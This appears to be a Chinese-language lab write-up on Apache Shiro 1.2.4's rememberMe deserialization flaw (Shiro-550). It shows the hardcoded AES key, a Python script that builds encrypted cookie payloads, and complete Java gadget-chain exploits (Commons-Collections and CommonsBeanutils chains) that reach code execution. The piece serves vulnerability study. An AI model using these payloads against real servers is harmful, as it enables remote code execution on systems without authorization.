java反序列化之shiro550
2023-06-14 19:56:36

环境搭建

下载shiro

1
2
3
git clone http://github/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4

用idea打开shiro\samples\web项目,将pom.xml中的jstl版本修改为1.2(大概70行的位置)

1
2
3
4
5
6
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>

tomcat部署

image-20230327201105796

image-20230325213837905

运行并打开网页

image-20230325215750024

无CC依赖URLDNS反序列化验证

登陆处勾选Remember Me

image-20230325215850511

点击登录、抓包,发现响应包里会出现rememberMe字段

image-20230325220319641

同时再次发送请求时会直接发送这个rememberMe

image-20230325220451738

查找和cookierememberme有关的且在shiro包里的类,发现CookieRememberMeManager类image-20230325220908898

CookieRememberMeManager的getRememberedSerializedIdentity接收了请求的rememberMe参数,同时对其进行base64解密

image-20230325222817415

找一下谁调用了getRememberedSerializedIdentity方法,发现是AbstractRememberMeManager类getRememberedPrincipals方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);//这里调用了getRememberedSerializedIdentity
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);//这里对传过来的参数做进一步的处理
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}

return principals;
}

查看convertBytesToPrincipals方法

1
2
3
4
5
6
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);//解密
}
return deserialize(bytes);//反序列化
}

先看一下解密的部分

image-20230325224357492

可以看到密钥是一个定值

1
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

并且从上方的内容可以推断出是aes加密

image-20230325224546707

deserialize方法一直追下去发现调用了readObjet方法

image-20230325224740559

最终大致的流程为shiro将得到的rememberMe参数进行了base64解密,然后再aes解密,最终反序列化

我们用之前的DNSURL来验证一下,将序列化的test.ser文件用python脚本来生成payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64
import uuid
from Crypto.Cipher import AES

with open('test.ser', 'rb') as f:
data = f.read()

BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
print(ciphertext)

将输出结果替换为rememberMe的参数值,同时将JSESSIONID删除(否则不会对rememberMe的值反序列化)

image-20230325232039969

发送以后,发现成功收到了DNS请求,证明反序列化成功

image-20230325232113338

有CC依赖的命令执行

为shiro项目添加commons-collections依赖,这里选择3.2.1版本

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

这里由于shiro在反序列化的过程中ClassResolvingObjectInputStream类对resolveClass方法进行了重写,如果反序列化流中包含非java自身的数组,就会出现无法加载类的错误,所以我们这里不能使用ChainedTransformer类

这里主要利用的是cc6+cc2+cc3(实际测试在jdk版本为1.7会失败,使用1.8版本成功)

poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//cc3
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field namefield = c.getDeclaredField("_name");
namefield.setAccessible(true);
namefield.set(templates,"aaaa");
Field bytecodesfield = c.getDeclaredField("_bytecodes");
bytecodesfield.setAccessible(true);
byte[] codes = Files.readAllBytes(Paths.get("D:\\php_project\\shengji_study\\target\\classes\\runtime.class"));
bytecodesfield.set(templates,new byte[][] {codes});
Field tfactoryfield = c.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templates,new TransformerFactoryImpl());

//cc2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);

//cc6
HashMap<Object,Object> map = new HashMap<>();
Map lazymap = LazyMap.decorate(map, new ConstantTransformer(1));


TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,templates);

HashMap<Object,Object> hashMap=new HashMap<>();
hashMap.put(tiedMapEntry,"bbb");
lazymap.remove(templates);

Class clazz = LazyMap.class;
Field factoryfield = clazz.getDeclaredField("factory");
factoryfield.setAccessible(true);
factoryfield.set(lazymap,invokerTransformer);

Test.Serialize(hashMap);

image-20230327200921490

构造的链图如下

image-20230327152941135

CB链的利用

commons-beanutils是Apache Commons项目的一部分,是一个Java工具库,提供了许多操作Java Bean对象的工具类。它可以帮助Java程序员更方便地访问和操作Java Bean对象,从而简化了Java应用程序的开发。

对于以下代码

1
PropertyUtils.getProperty(A,"b")

会调用A对象的getb方法

我们之前在利用TemplatesImpl类执行任意代码的时候是调用的newTransformer方法,而TemplatesImpl类中还有一个getOutputProperties方法正好调用了newTransformer

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();//这里调用了
}
catch (TransformerConfigurationException e) {
return null;
}
}

而这个类刚好可以用PropertyUtils.getProperty来调用,于是有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field namefield = c.getDeclaredField("_name");
namefield.setAccessible(true);
namefield.set(templates,"aaaa");
Field bytecodesfield = c.getDeclaredField("_bytecodes");
bytecodesfield.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\php_project\\shengji_study\\target\\classes\\runtime.class"));
byte[][] codes = {code};
bytecodesfield.set(templates,codes);
Field tfactoryfield = c.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templates,new TransformerFactoryImpl());
//templates.newTransformer();
PropertyUtils.getProperty(templates,"outputProperties");//这里是outputProperties,不是OutputProperties

image-20230327201309891

接下来可以找一下调用了getProperty方法的类

image-20230327201709680

发现了BeanComparator类的compare方法,这个compare我们之前在cc2的时候见过,当时是调的TransformingComparator#compare,那么我们这里就可以直接把之前cc2构造的poc用起来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//cc3
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field namefield = c.getDeclaredField("_name");
namefield.setAccessible(true);
namefield.set(templates,"aaaa");
Field bytecodesfield = c.getDeclaredField("_bytecodes");
bytecodesfield.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\php_project\\shengji_study\\target\\classes\\runtime.class"));
byte[][] codes = {code};
bytecodesfield.set(templates,codes);
Field tfactoryfield = c.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templates,new TransformerFactoryImpl());
//templates.newTransformer();
//PropertyUtils.getProperty(templates,"outputProperties");
BeanComparator beanComparator = new BeanComparator("outputProperties");

//下面两行实际上没什么用,只是为了让链断开,后面会通过反射将PriorityQueue.comparator改为beanComparator
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(1);

Class clazz = PriorityQueue.class;
Field transformerfield = clazz.getDeclaredField("comparator");
transformerfield.setAccessible(true);
transformerfield.set(priorityQueue,beanComparator);
test.Serialize(priorityQueue);

image-20230327204500200

反序列化利用成功!!!

这里需要注意,实验中使用的commons-beanutils的版本是1.8.3,而ysoserial中使用的版本是1.9.2,所以使用ysoserial来打本实验的时候会出现利用失败

image-20230327210100012

参考视频链接:Shiro反序列化漏洞